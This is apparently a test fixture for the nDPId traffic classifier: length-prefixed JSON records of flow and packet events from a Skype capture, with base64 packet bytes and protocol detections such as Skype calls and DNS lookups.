+00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":921,"source":"skype.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":1431969676429,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.147","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":151,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":921,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":429637,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBH10AAEARELrAqAEinTfrkzLdnFQALfL6nFACIA2HAe7F64ULrxZmZzlp\/IcJjWPYQGVuGoQXNRtdAcprsg=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":921,"source":"skype.pcap","alias":"nDPId-test","flow_id":151,"flow_packet_id":1,"flow_first_seen":1431969676429,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.147","src_port":13021,"dst_port":40020,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":922,"source":"skype.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1431969676429,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.165","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":152,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":922,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":429638,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9SBkAAEARs0rAqAEib91NpTLdnFQAKf+JnFIC4bFrPlS3SgwUQ0ZkfJhi4Ibaq\/8x3HMPk6r8UbN8"} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":922,"source":"skype.pcap","alias":"nDPId-test","flow_id":152,"flow_packet_id":1,"flow_first_seen":1431969676429,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.165","src_port":13021,"dst_port":40020,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00438{"flow_id":101,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":923,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":440226,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8iAlAAEAG0RrAqAEinTeClsN+nEtADbo2Q3FEmYAYECizhAAAAQEICj4jD9NOt5\/KwFGYWtZyg7g="} +00437{"flow_id":134,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":927,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":613109,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8MwdAAEAGJhrAqAEinTeCmcOGnEV7WksM7xM3SYAYECgt5AAAAQEICj4jEH5OtNyvZO1SW4ugTYc="} +00475{"flow_id":142,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":928,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":709727,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"0NQSxnP1PBXCt3IOCABFAABWkfJAAEAGxxTAqAEinTeCmcOJAbvJCUV1l+7ieIAYECzCeQAAAQEICj4jEN5OtN5CdYilVbtaCwK\/tgRArD4Y28szEXDIjTbyD0VdE11jWOuPGA=="} +00462{"flow_id":141,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":929,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":838729,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPlqBAAEAGDHXAqAEinTc4ksOIAbsXgt5RB+ihfoAYECzuLQAAAQEICj4jEV5NhXLb+CbW3lZbBv40\/beInvTLb7s0B7Su\/nEv8OsV"} +00437{"flow_id":133,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":930,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969676,"pkt_ts_usec":964997,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8FedAAEAGjUHAqAEinTc4ksOFnF5LaK51T0tw1IAYECniqQAAAQEICj4jEdxNhXFJby9fpLXtPtU="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":931,"source":"skype.pcap","alias":"nDPId-test","flow_id":153,"flow_packet_id":1,"flow_first_seen":1431969677018,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.38","src_port":50063,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":153,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":931,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":18656,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAFnhAAEAGqHLAqAEib91KJsOPAbu0bGHpAAAAALAC\/\/+PWgAAAgQFtAEDAwUBAQgKPiMSEQAAAAAEAgAA"} +00460{"flow_id":149,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":932,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":45314,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABP37sAAEARF2\/AqAEiwKgBAdd3ADUAO4zaTRYBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAAQAB"} +00459{"flow_id":150,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":933,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":45399,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPvnQAAEAROLbAqAEiwKgBAfaEADUAO+FnvnsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAHAAB"} +00491{"flow_id":63,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":934,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":103201,"pkt_caplen":112,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":112,"pkt_l4_len":78,"pkt":"0NQSxnP1PBXCt3IOCABFAABiSBtAAEAGX0zAqAEinTg0LMN0AbuAxvPD3A2f1IAZECzDXAAAAQEICj4jEmVMZDFLCID\/ssOnhCQbPdgraKv5X6X6LEBl4VvsbMI2yvwLdbH5FbeEibgiwFjV2Yetww=="} +00460{"flow_id":143,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":935,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":388403,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"0NQSxnP1PBXCt3IOCABFAABNHfFAAEAGoOPAqAEib91KL8OKAbuRyk1PjMr2RYAYECyFzwAAAQEICj4jE4JNhWCpro9SILG2kEIipiuKXJkgpDduj12IclUwiw=="} +00436{"flow_id":153,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":936,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":390130,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGx+5v3UomwKgBIgG7w48O1kHvtGxh6qASOJAkowAAAgQFrAQCCApNf6TaPiMSEQEDAwk="} +00424{"flow_id":153,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":937,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":390211,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0fWFAAEAGQZXAqAEib91KJsOPAbu0bGHqDtZB8IAQECx6WwAAAQEICj4jE4NNf6Ta"} +00490{"flow_id":63,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":938,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":390301,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"PBXCt3IO0NQSxnP1CABFAABkrqRAADMGBcGdODQswKgBIgG7w3TcDaAjgMbz8oAZAB3zdQAAAQEICkxkQsk+IxJl88ShU4OJX+wVjAAh41xEYknjYdiCqiNsMrotROUKP3MjPnBVW48CfkkirGByqXPb"} +00523{"flow_id":153,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":939,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":390314,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8Tm1AAEAGcEHAqAEib91KJsOPAbu0bGHqDtZB8IAYECxLcwAAAQEICj4jE4NNf6TagEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIBx7gcMDdoD2GmGv2SF8juw"} +00408{"flow_id":63,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":940,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":390359,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoez5AAEAGLGPAqAEinTg0LMN0AbuAxvPyAAAAAFAEAADiyAAA"} +00437{"flow_id":135,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":941,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":436520,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8KzpAAEAGk6vAqAEib91KL8OHnF60mgVan9mDBYAYECqYuwAAAQEICj4jE7FNhV8Xx9YMHiFnIWo="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":942,"source":"skype.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1431969677439,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.166","src_port":13021,"dst_port":40011,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":154,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":942,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":439255,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"0NQSxnP1PBXCt3IOCABFAAA\/kxIAAEARaE7AqAEib91NpjLdnEsAK\/dAnFQCl1hxbJqFe\/EoPOrYejcO5KpAaYBpd\/JMh2XsR696PgE="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":942,"source":"skype.pcap","alias":"nDPId-test","flow_id":154,"flow_packet_id":1,"flow_first_seen":1431969677439,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.166","src_port":13021,"dst_port":40011,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":943,"source":"skype.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":1431969677439,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.165","src_port":13021,"dst_port":40026,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":155,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":943,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":439256,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4mEQAAEARAMrAqAEinTeCpTLdnFoAJC3GnFYCIQGR7TxLVU8tswjr1LACebeVCHQalWySEQ=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":943,"source":"skype.pcap","alias":"nDPId-test","flow_id":155,"flow_packet_id":1,"flow_first_seen":1431969677439,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.165","src_port":13021,"dst_port":40026,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":944,"source":"skype.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":1431969677439,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.157","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":156,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":944,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":439327,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"0NQSxnP1PBXCt3IOCABFAAA1f9wAAEARGT3AqAEinTeCnTLdnE0AIXYPnFgCFJgmOhVj0TGqdlU73IOUBy59C5OuhQ=="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":944,"source":"skype.pcap","alias":"nDPId-test","flow_id":156,"flow_packet_id":1,"flow_first_seen":1431969677439,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.157","src_port":13021,"dst_port":40013,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00496{"flow_id":71,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":945,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":581712,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"0NQSxnP1PBXCt3IOCABFAABm1jFAAEAGGR\/AqAEi1cezr8N3AbvoukrF6jj3F4AZECwcVgAAAQEICj4jFEFO2zrq3Ik+3JoryHORYpUOodhZtdvbaLVaOrSVdhFGDoNFz\/ygR9NCUBkcRkZjFi6mIQWuXX4="} +00436{"flow_id":144,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":947,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":680875,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA89bNAAEAGyTrAqAEib91KJsOLnE+UB74KG80ZxoAYECkFoQAAAQEICj4jFKRNf6OUySqTc3CS7Ig="} +00425{"flow_id":153,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":948,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":689309,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA05MhAADcG4y1v3UomwKgBIgG7w48O1kHwtGxiMoAQAB2JxAAAAQEICk1\/pTg+IxOD"} +00499{"flow_id":153,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":949,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":689388,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"0NQSxnP1PBXCt3IOCABFAABq3jRAAEAG4IvAqAEib91KJsOPAbu0bGIyDtZB8IAYECxlQwAAAQEICj4jFKxNf6U4DpQ6T7GhI\/HZuALGyyd6FuE62cjswcclHGXEXQQQrFo1hEMiHK+aF1hYQEgpCBKH6FPKIRys"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":950,"source":"skype.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":1,"flow_first_seen":1431969677975,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":58458,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":157,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":950,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":975446,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLNkoAAEARwOTAqAEiwKgBAeRaADUAN2o90\/0BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":950,"source":"skype.pcap","alias":"nDPId-test","flow_id":157,"flow_packet_id":1,"flow_first_seen":1431969677975,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":58458,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"pipe.prd.skypedata.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":951,"source":"skype.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_first_seen":1431969677975,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49360,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":158,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":951,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":975770,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLu3AAAEARO77AqAEiwKgBAcDQADUANww\/OoYBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00651{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":951,"source":"skype.pcap","alias":"nDPId-test","flow_id":158,"flow_packet_id":1,"flow_first_seen":1431969677975,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":49360,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"pipe.prd.skypedata.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00475{"flow_id":112,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":952,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969677,"pkt_ts_usec":985081,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"0NQSxnP1PBXCt3IOCABFAABXYOVAAEAG+CPAqAEinTeClsOAAbtI+poyuVVQX4AYECxBOwAAAQEICj4jFdNOt6FDtE+JMLnPtxIKxglVlecVLUAud036XUzec3hM4iMJiZPeQZY="} +00436{"flow_id":50,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":953,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":127257,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA81kZAAEAGzMnAqAEinTc4qsNxnE+r6BLEPu7rjYAZECpqKQAAAQEICj4jFmFNea2iMpsmfs9xo5c="} +00456{"flow_id":65,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":954,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":128519,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"0NQSxnP1PBXCt3IOCABFAABMjBFAAEAGzQzAqAEinTeCjMN2AbvInJlHrpWZfIAZECwajAAAAQEICj4jFmJOvfadOsfzaffo90GU9fGuBRpgbZPEZs9Bzxti"} +00460{"flow_id":149,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":955,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":136587,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPpIgAAEARUqLAqAEiwKgBAdd3ADUAO4zaTRYBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAAQAB"} +00460{"flow_id":150,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":956,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":136676,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"0NQSxnP1PBXCt3IOCABFAABPxoMAAEARMKfAqAEiwKgBAfaEADUAO+FnvnsBAAABAAAAAAAAAWEGY29uZmlnBXNreXBlDnRyYWZmaWNtYW5hZ2VyA25ldAAAHAAB"} +00475{"flow_id":142,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":957,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":221690,"pkt_caplen":100,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":100,"pkt_l4_len":66,"pkt":"0NQSxnP1PBXCt3IOCABFAABWOc1AAEAGHzrAqAEinTeCmcOJAbvJCUV1l+7ieIAYECy8mAAAAQEICj4jFr9OtN5CdYilVbtaCwK\/tgRArD4Y28szEXDIjTbyD0VdE11jWOuPGA=="} +00456{"flow_id":65,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":958,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969678,"pkt_ts_usec":254715,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"PBXCt3IO0NQSxnP1CABFAABMb+hAADcG8jWdN4KMwKgBIgG7w3aulZnLyJyZYIAZAB1q6QAAAQEICk6+CS8+IxZiCZN8qOdAn2tQKPavo9VwulBfRWu9L1K6"} 